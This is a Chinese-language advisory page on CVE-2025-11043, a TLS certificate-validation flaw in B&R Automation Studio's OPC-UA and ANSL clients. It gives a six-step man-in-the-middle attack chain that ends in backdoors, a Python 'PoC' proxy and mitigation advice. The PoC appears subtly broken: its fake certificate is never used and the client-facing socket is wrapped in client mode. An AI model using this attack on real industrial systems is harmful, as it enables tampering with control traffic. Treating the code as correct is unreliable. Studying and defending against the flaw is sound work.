IPBUF安全漏洞报告
English
CVE-2025-11043 CVSS 7.4 高危

CVE-2025-11043: B&R Automation Studio OPC-UA/ANSL TLS证书验证漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2025-11043
漏洞类型
证书验证不当
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
B&R Automation Studio (OPC-UA客户端、ANSL over TLS客户端)

相关标签

证书验证不当中间人攻击TLS/SSL漏洞OPC-UAANSL工业控制系统B&R Automation Studio高危漏洞

漏洞概述

CVE-2025-11043是B&R Automation Studio中发现的高危安全漏洞,属于SSL/TLS证书验证不当类型。该漏洞存在于Automation Studio 6.5之前版本的OPC-UA客户端和ANSL over TLS客户端中。攻击者可利用此漏洞在未认证的情况下,通过网络位置拦截并篡改数据交换过程中的通信内容。由于OPC-UA和ANSL协议通常用于工业自动化控制系统中的设备间通信,此漏洞可能影响关键基础设施的通信安全,导致敏感数据泄露或系统完整性被破坏。攻击者无需任何用户交互或认证凭证,即可实施中间人攻击(MITM),这对工业控制系统环境构成了严重威胁。

技术细节

该漏洞源于OPC-UA客户端和ANSL over TLS客户端在建立安全通信通道时,未能正确验证服务器端提供的SSL/TLS证书。具体表现为:1) 证书链验证不完整,可能未检查证书颁发机构的有效性;2) 主机名验证失败,允许攻击者使用伪造证书;3) 证书过期或撤销状态检查缺失。攻击者可在目标网络中进行ARP欺骗或DNS投毒,将自己置于客户端与服务器之间。当客户端发起连接请求时,攻击者可以提供自签名证书或被篡改的证书,而客户端由于验证逻辑缺陷会错误地接受该证书。建立信任后,攻击者能够解密、篡改和重放通信内容,可能导致控制指令被修改或敏感工业数据泄露。

攻击链分析

STEP 1
步骤1: 网络侦察
攻击者扫描目标网络,发现运行Automation Studio的工业控制系统设备,识别OPC-UA或ANSL服务端口(通常为4840)
STEP 2
步骤2: 中间人定位
攻击者利用ARP欺骗、DNS投毒或网络嗅探技术,将自己置于客户端与服务器之间的网络路径上
STEP 3
步骤3: 证书伪造
攻击者生成自签名证书或使用被篡改的证书,准备在客户端连接时进行证书交换
STEP 4
步骤4: 证书验证绕过
由于目标系统的证书验证不当,客户端错误地接受攻击者提供的伪造证书,建立加密通道
STEP 5
步骤5: 流量劫持
攻击者解密并分析通信内容,可选择性地篡改控制指令或工业数据,然后重新加密发送给目标服务器
STEP 6
步骤6: 持久化控制
攻击者可能修改配置、建立后门或长期监控目标系统的通信行为,造成持续性威胁

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11043 PoC - Certificate Validation Bypass # Target: B&R Automation Studio OPC-UA/ANSL Client # Environment: Network accessible to target import socket import ssl import struct from OpenSSL import crypto def generate_fake_certificate(): """Generate a self-signed certificate for MITM attack""" key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 2048) cert = crypto.X509() cert.get_subject().CN = "Target Server CN" cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(365*24*60*60) cert.set_pubkey(key) cert.sign(key, 'sha256') return cert, key def create_mitm_proxy(target_host, target_port, listen_port=4840): """Create MITM proxy for OPC-UA connection""" context = ssl.create_default_context() context.check_hostname = False # Bypass hostname verification context.verify_mode = ssl.CERT_NONE # Disable certificate verification server_context = ssl.create_default_context() mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) mitm_socket.bind(('0.0.0.0', listen_port)) mitm_socket.listen(5) print(f"[*] MITM Proxy listening on port {listen_port}") print(f"[*] Redirecting to {target_host}:{target_port}") while True: client_socket, addr = mitm_socket.accept() print(f"[+] Connection from {addr}") try: # Connect to legitimate server server_socket = socket.create_connection((target_host, target_port)) # Wrap with SSL (vulnerable context) secure_client = context.wrap_socket(client_socket, server_side=False) secure_server = server_context.wrap_socket(server_socket, server_side=False) # Forward traffic (intercept/modify as needed) while True: data = secure_client.recv(4096) if not data: break print(f"[*] Intercepted: {data.hex()}") secure_server.sendall(data) response = secure_server.recv(4096) secure_client.sendall(response) except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() server_socket.close() if __name__ == "__main__": # Usage: python cve-2025-11043-poc.py <target_ip> <target_port> import sys if len(sys.argv) < 3: print("Usage: python cve-2025-11043-poc.py <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) create_mitm_proxy(target_ip, target_port)

影响范围

B&R Automation Studio < 6.5

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 启用网络隔离,限制对工业控制系统的网络访问;2) 部署严格的防火墙规则,仅允许受信任IP地址访问OPC-UA服务;3) 监控网络流量,检测异常的证书验证行为;4) 考虑使用VPN建立额外的安全通信通道;5) 实施入侵检测系统(IDS)监控可能的中间人攻击迹象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表